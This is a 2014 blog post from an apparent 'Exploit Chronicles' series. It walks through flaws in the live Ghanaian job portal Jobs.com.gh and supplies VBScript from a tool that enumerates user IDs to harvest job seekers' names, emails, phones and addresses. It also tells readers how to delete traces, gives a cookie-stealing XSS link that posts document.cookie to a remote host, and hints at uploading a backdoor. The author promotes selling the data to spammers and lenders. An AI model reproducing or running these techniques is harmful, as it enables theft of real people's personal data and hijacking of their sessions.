Michael Kwayisi

EC103: Jobs.com.gh's Multiple Vulnerabilities

Twitter · Facebook
Exploiting code logic to harvest user informationExploiting code logic to harvest user information

Jobs.com.gh is a Ghanaian job portal launched in 2013 by Ringier Ghana, a subsidiary of the Swiss multinational media enterprise Ringier AG. The website lists job vacancies on a daily basis and claims to be "Ghana's number 1 jobs portal." According to public data provided by the web traffic reporting company Alexa, Jobs.com.gh is the 56th most visited website in Ghana, with almost half of its global traffic coming from the country. Furthermore, the website is ranked 120,507th globally even though it is listed among the slowest of all sites.[1] Another interesting thing is that the site ranks first on the major search engines for the term "job description of dispatch rider," a phrase that happens to be one of its 5 most traffic-generating search terms.

The development of Jobs.com.gh was led by Edem Kumodzi who was then the Head of Product Development at Ringier Ghana. Edem, who is now a "Consultant Developer" at ThoughtWorks, oversaw the design and implementation of Jobs.com.gh and other consumer web applications of the company such as Tisu.com.gh and Allsports.com.gh. Among other things, Edem claims to be a "software professional with 6 years of experience in building enterprise information systems, web and mobile applications." Millad Osman, the current Head of IT Development at Ringier Ghana, is now supervising the maintenance of the site and the company's other software products.

In this third case study of the Exploit Chronicles campaign, we are putting Jobs.com.gh on the radar. One distinguishing feature of this case study, however, is the absence of an SQL injection vulnerability which happened to be the predominant exploit vector in the previous case studies. The attack in this case study exploits generic logical flaws in the design and implementation of computer systems and their mode of operation where the architect's ability to reason is miserably misplaced.[2] As it is always mentioned in the foregoing paragraphs of our case study reports, the author cannot in any way be held responsible for whatever you decide to do with the information presented herein; continue reading this article at your own risk. Gracias.

Recon—Identifying attack vectors

To begin with, let us do some scouting on our guinea pig, that is to say, gather information about our object of investigation. On the homepage of Jobs.com.gh can be found the titular text: "Start your career today!" Indeed, we are going to start an exploit career that the repercussions will perhaps render the website unserviceable for anyone else. To give a jumpstart to the one who is not acquainted with web software packages, Jobs.com.gh deploys a customized version 4.0 of the commercial job-board-website software SmartJobBoard.[3] You can confirm this by navigating to /admin/ of the website. (Spoiler alert: No one cared to modify the copyright text!)

The site is mostly locked out for unregistered visitors so let's try and create an account. We can do so by clicking the "Register" anchored link at the top right of the homepage. When prompted to select a "User Group," you may choose any since the choice does not have any significant effect on the account itself. When the registration form is presented, fill out only the required fields (email, password, name, captcha, and terms) but leave out the optional fields, then submit. Ta-da! Your account is created. If you take the trouble to check your email inbox now, you may see a mail from jobs.com.gh welcoming you to the site. Open it and see the password you supplied during registration staring at you, in plain text! That's right, your password was not hashed.

Before proceeding with rest of the exploratory survey, however, we will need another account, yes, a second one. All we have to do is follow the steps outlined in the preceding paragraph to create the second account. For the purpose of this writing, I will assume the creation of the accounts "Foo" and "Bar." Note that, for the sake of simplicity, it is best to be logged in to both accounts at the same time, so that you can easily switch between sessions.[4]

Using Foo's session, navigate to the "Private Messages" section, compose a message, address it to Bar by supplying his email address in the "Message to" field, tick the "Save to outbox" checkbox, and send.[5] Afterward, verify that the message has been delivered by viewing Bar's "Inbox." Having done that, go to the "Outbox" folder of Foo and retrieve the ID of the message in there by inspecting the URL. Say, the ID of the message in Foo's outbox is 123, then the ID of the message in Bar's inbox will most certainly be 122, i.e., one less. Subsequently, still using Foo's session, navigate to /private-messages/inbox/read/?action=delete&id={n} where {n} is the ID of Bar's inbox message you computed earlier. What have you just done? Well, you have deleted the message that you sent to Bar from their own inbox using Foo's session!

Still using Foo's active session, click on the last item on the "Private Messages" navigation strip, namely, "Contacts." There you will see that Bar is listed as a "contact." In addition, Jobs.com.gh is freely giving you some details of Bar. Click on the "Send Message" button next to the contact details and watch the destination URL show a "to" URI parameter having some number as its value. Change the value of the "to" parameter to, say "1", and see what happens. Most likely, afterwards, you will be seeing "Maureen Maame Biney" as now the addressee. What does all of this mean? It means that every user is assigned a unique integral identifier, and if you can guess the ID of a user then you can send that user a message, and they will automatically become your contact, and you will instantly and freely get their personal contact information!

Finally, lookup the cookies for jobs.com.gh on your web browser. There you will see one with the name "PHPSESSID" with a 24-character value. It is evident that this one serves as your session identifier. Perhaps also knowing that Jobs.com.gh uses the PHP Zend framework's Session module to manage sessions, we may attempt to modify our session cookie's value to say "foo" and attempt to login.[6] There you are! We're in, with "foo" as our session cookie value! Is that some good news? Yes! It means that we can "fix" our sessions and impersonate others too. For a secure multi-user system, whenever a user logs in, a new session should then be created, which sadly isn't the case here. Hold on to your pants and see how we exploit this flaw in the next section.

Exploit—Carrying out one thought

There are several bits of useful information we gathered in our recon: (1) User passwords are not hashed, which means there could be a way to retrieve it in plain text. (2) One user can delete messages belonging to another user provided the message IDs can be correctly guessed. (3) A user can send messages to any other user simply by providing the intended recipient user's ID. (4) When a user sends or receives a message to or from another user, they automatically become "contacts" and thus have access to each other's contact information. (5) User sessions can be fixed which leaves room for cookie stealing which, as a result, can lead to session hijacking.

Actually there are some other useful information that were not mentioned in the recon, of which I expect that, by you hanging around the site, you would come to figure them out by yourself. Such information include the fact that HTML messages can be sent, user accounts can be deleted, etc. I am mentioning this, not because they are used in the exploit code below, but that you can build upon these vulnerable rock-masses to write your own exploit. In fact, if I should write everything I know in connection with the operation of the jobs.com.gh website, then it will probably take me aeons to come to a conclusion; and when I do, your browser would simply not be able to show this page because the size of it would eat up all the memory of your device.

Jumping onto the exploit wagon, let us consider just one way to exploit a vulnerability: harvest user personal information. In order to make things easier and simpler, the whole exploit has been packaged into a single Windows Batch/VBScript script file, named jgharv.bat. Therefore, I'm going to be discussing only the interesting and relevant bits of the script in this section. However, I encourage you to read the complete source code to discover some hidden gems. ("Insight," I quote myself, "belongs to those who read the source.") What the script does is harvest users' personal contact information (name, email address, phone number, home address, etc.) from the website and store them in a file on disk, in a Comma Separated Values (CSV) format.

To begin with the aforementioned procedure, in our script, we initialize our active user session by signing in to the site. (Apparently, without having a valid user login credentials one simply cannot carry out this objective. So it is logical to say that one needs to signup for an account in order to practically follow through.) This undertaking is accomplished by sending a request to the resource at /login/ on jobs.com.gh. By examining the lines 266-270 of the exploit script, we can see exactly that in effect as plainly shown in the snippet below:

Set objXmlHttp = CreateObject("MSXML2.XMLHTTP.3.0")
objXmlHttp.Open "POST", strHostname & "/login/", False
objXmlHttp.SetRequestHeader "Content-Type", conFormUrlEncoded
objXmlHttp.Send "username=" & UrlEncode(strUsername) &_
"&password=" & UrlEncode(strPassword) & "&action=login"

Afterwards, we attempt to send a message to the first user on our target list. The users on our list are not identified by any special personal data but just their integral IDs as assigned to them by Jobs.com.gh. Thus, we do not know in advance who the user with ID, say 123, would be—and we don't need to. But what we do know is that the IDs are assigned incrementally, starting from 1, by one. So we may choose to start blindly from, say 1, to infinity and, trust me, no policeman will arrest you if ID 500 turns out not assigned to anyone. Having guessed an ID, we then attempt to send a message to that user as can be seen on lines 196-198 of the script.

objXmlHttp.Open "POST", strHostname & "/private-messages/send/", False
objXmlHttp.SetRequestHeader "Content-Type", conFormUrlEncoded
objXmlHttp.Send "form_to=" & I & "&form_subject=+&form_message=+&form_save=1"

One noteworthy thing in the code above is the form_save=1 part of the POST data. This little beast instructs the system to save a copy of the message that is being sent in our outbox. Why is this necessary? Simply because it will help us determine the ID of the message as received by the recipient in their inbox. With the computed ID of the message in the recipient's inbox, we would be able to delete the message to clean up our mess and, to some extent, cover our tracks. What is more, the message is a pawn and mostly will be of no use to either our sorry victim or us. We are sending a message just so as to establish "contact" with our unknowing friend.

Once the message has successfully been sent, we become a "contact" of our beloved new friend, whether they like it or not. It is at this point also that we gain the privilege of knowing the personal details of them. After gathering the information we want, we may want to delete the message we sent. We do so by retrieving the message in our outbox and finding out its ID, and then subtracting one from it which will correspond to the ID of the message in the recipient's inbox. With these IDs, we send a request to delete the messages. In the exploit script, however, the deletion of messages is done in bulk in order to minimize the number of HTTP requests and improve the overall efficiency of the program. This can be seen as the body of the sub procedure DeleteMessages.

Putting everything together, the snippet below shows how to retrieve the personal information of users 1 to 3 using the exploit script, for example. For the purpose of the below demonstration, the fictitious username (actually email address) "foo@bar.baz" and password "fubar" are employed. The first line of the preformatted text below obviously is the command to enter at the Windows terminal, that is, the Command Prompt, while the rest of the lines dictate a sample output.

C:\> jgharv.bat foo@bar.baz fubar -u1-3
[00:00:00] Initializing session . . .
[00:00:01] Harvesting user information . . .
[00:00:02] + Kofi Abanga <kabanga@gmail.com>
[00:00:03] + Ama Nantwie <prettylady123@yahoo.com>
[00:00:04] + Togbe Afede <togbe@afedefamily.com>
[00:00:05] NOTICE: 3 contact(s) deleted.

The harvested user information will be dumped into a CSV formatted file in the same directory as the script by default. After harvesting the required information, it is advisable to cleanup the mess that you have made during the process by running the script again, this time using the "-c" switch, again with your username and password as shown in the sample output below.

C:\> jgharv.bat foo@bar.baz fubar -c
[00:00:00] Initializing session . . .
[00:00:01] NOTICE: 3x2 message(s) deleted.

Additional information on how to effectively use the script can be found by calling the script with the "--help" command line option. Enjoy the harvest season!

Conclusion—Hopping off the treadmill

This article got so much longer than I expected. Because of that I could not even touch on areas like session hijacking, password retrieval, and remote data deletion. But I think the point was well made during the recon, and the areas that need fixing were sufficiently described. Just to explain further just how a user's session could be hijacked, this can be done by sending a trojan message inviting the user to click on a hyperlink. The link itself does not need to lead the user anywhere but to serve as a bait, enticing the user to click, and thus trigger the execution of the exploit code which would be attached as an onclick event handler to the HTML anchor element. For example:

<a href="#" onclick="$.ajax('http://www.example.com/exploit.php?cookie=' +
encodeURIComponent(document.cookie))">Click here to view attachment</a>

The above code succinctly describes the attack: send the user's cookie to a remote server. When the remote server receives the cookie, it will do well to extract the PHPSESSID portion which identifies the user's active session. Surely, this is not in entirety what one can do but a projection of a case where a user would receive a message with an anchored link saying, "Click here to view attachment," only for the user to click and have their session hijacked. Granted, there is not much to do with a Jobs.com.gh user's session. But a malevolent guy will not find it boring to just delete that user's account. Remember, a wicked person delights in doing whatever is bad.

Talking of the impact that this vulnerability could have, it is enormous. The exploit demonstrated in the preceding section of this article does not harvest just some ordinary user account details but personally identifiable information. Additionally, the data do not identify some kindergarten school children or some random individuals but matured, educated, and conscious job seekers and employers—a targeted group with special common interests.

Unlike social networking sites where people sign up because they are looking for you-know-what, users of Jobs.com.gh are mostly ones who are feeling the scorching effect of the Ghanaian economy and so are looking for ways to avert their circumstances. Financial institutions that are searching for someones to dish out loans to would find great customership in these ones. Job recruitment agencies would also go to great lengths to grab such list. Telemarketers and internet spammers with an interest in the Ghanaian niche would find it exciting doing business with users of Jobs.com.gh as well. See, the potential is huge, the market is big, and the hacks are fun!

O now I know that I am indeed growing older and so my memory retention abilities are getting weaker. Why, of all that we discussed above there was a particular critical vulnerability that was not exploited—session fixation. Being able to determine what your cookie value should be, at most times, becomes your key to a secret backdoor to a system. The thing is this: whenever you are opening a door to a person, you should be fully aware in advance what they could do but not only what they should do in the room that they are going to find themself in. Hopefully, we will talk more about this vulnerability and the accompanying exploit in the following case study.

Okay. So there has eventually come to be the third case study in this really inconspicuous Exploit Chronicles campaign. So far I have received quite a positive response. The first case study, which I used to test the waters, stripped the garments off some guys who are still dragging themselves around in tatters. The second, like the first, exploited an SQL injection vulnerability but, this time, with a twisted approach and a resulting higher penalty. Having published this report, which is the third installment in the serial, I think it is about time I took a break in order to "make sure of the more important things." (Philippians 1:10, NW) Hasta pronto.[7]


  1. ^ Specifically, Alexa reports that "81% of sites are faster" than jobs.com.gh which has a loading time of 3.11 seconds. That means the site falls into the lower 19th percentile of all websites on the Internet in terms of loading speed. Taking into account the fact that Alexa ranks over 30 million sites, it is statistically correct to say, at least 24.3 million websites are faster than jobs.com.gh.
  2. ^ That statement was meant to be a joke. If for some reason, however, someone lost their sense of humor in high school and so wants to make a FIFA World Cup out of this, then please let them schedule it for 2015 because Brazil 2014 is just some few weeks away. (I simply can't wait to see Ronaldo's hat-trick against the Brown Squad. Did somebody mention the Black Stars?)
  3. ^ SmartJobBoard, a commercial open-source-software-based software, seems quite popular among African developers who build job portals. Despite the discovery of multiple vulnerabilities in the software every now and then, most of these web developers do not care about updating the software to the latest release. One sad thing, still, is that not a single one of those sites I got to examine was not vulnerable in one way or another. That is some sad news.
  4. ^ If you are worried about signing up for too many email addresses, you can use a free disposable email service like Guerrilla Mail. With such a service, you can have an unlimited number of valid and working, but temporary, email addresses with no required registration. Also, with regards to maintaining multiple active sessions, you can do so by employing the "Private Browsing" feature in your browser or by creating multiple profiles. If you are not sure how to do this in your web browser, ask Google for help.
  5. ^ What they don't tell you is that you can alternatively supply the destined user's ID in the "Message to" field and your message will also be gladly sent. But suppose they did, then it would be justifiable for one to ask, "How do I know someone's ID?"—a question whose answer cannot be simply given. (Ahem, uh, I guess I'm their spokesperson now.)
  6. ^ In case you are feeling a little saucy, change the value of the "PHPSESSID" cookie to something like "*" (that is, asterisk) and watch the web application spit out curses. With the information you get, engage the CV uploading utility of the website and attempt installation of a backdoor or remote code execution. With regards to modifying your browser cookies, there are several ways to do it. The simplest approach, I think, is by means of an add-on or plugin. However, if you are a "pwner" of your web browser then it's most likely you have your own way of haxoring things, in which case you shouldn't be reading this note in the first place.
  7. ^ Once awhile, I get someone to tell me: "Charley, I got this cool idea for a web product!" Then after redundantly pouring his business jargon that he learned at MEST on me for the next 60 minutes, I ask: "So you want to build a Facebook?" But he retorts the obvious: "No." So I say: "OK, so it's a Twitter for Ghana." Then he comes clear and explains: "No, you don't understand. It's like . . . OK, like Facebook, but it's targeted towards Twitter users who like to spend time on LinkedIn looking for ugly prostitutes to marry." Good luck!

Comments (5)

  1. Abdullah KhawajaAbdullah Khawaja
    May 19, 2014 21:02 GMT

    Maybe you should show us what you have actually builded and see if you are not also vulnerable.

    Chapraasi at Kashmir Cyber Army [0FFical]

    1. Michael KwayisiMichael Kwayisi
      May 20, 2014 07:41 GMT

      Abdullah, the website you just posted your comment on is "builded" by me. So go ahead and talk to 84ckd00r5p1d3r and see how you guys can exploit it. But being a founder of your own group, I thought you would be something more than a "Chapraasi," don't you think?

      In any case, I hear your group was part of #OpIsrael 2014 and it failed. Oops! I thought you guys were legion and can turn any website upside down? Better luck next year :)

  2. Francis AsanteFrancis Asante
    May 15, 2014 19:30 GMT

    Nice article,

    I particularly like the last item in the reference section :-)

  3. Edem KumodziEdem Kumodzi
    May 15, 2014 01:06 GMT

    I really enjoyed your article! I'm actually glad something like this came up because I constantly fought with the management of Ringier Ghana & Africa about the risks of switching to an off the shelf platform.

    I just wanted to correct something, I was responsible for the development of Ringier's products during my tenure but the Jobs.com.gh you exploited isn't the one that I started building from scratch. Switching to SmartJobBoard was a pure business decision and the transition was done between me and the current Head of Development as part of handing over.

    I will forward this to the Ringier team and hopefully they will work towards resolving this.

    Well done! :-)

    1. Michael KwayisiMichael Kwayisi
      May 15, 2014 14:42 GMT

      Thank you, Edem, for taking the time to "correct" my error. Yet, I reasoned that since you list 'the Jobs.com.gh that got exploited' among your works, you might as well take responsibility for anything in connection with it ;)

      Anyway, that is a valid point you made and it is my hope likewise that "the Ringier team . . . work towards resolving this." However, from my previous experience, no one really seems to care. "After all," someone might say, "the site is usable by 'normal' users. Until the Syrian army attacks, we need no fixing."

  • Showing 1 - 3 of 3
NOTE: You are replying to 's comment. [Cancel]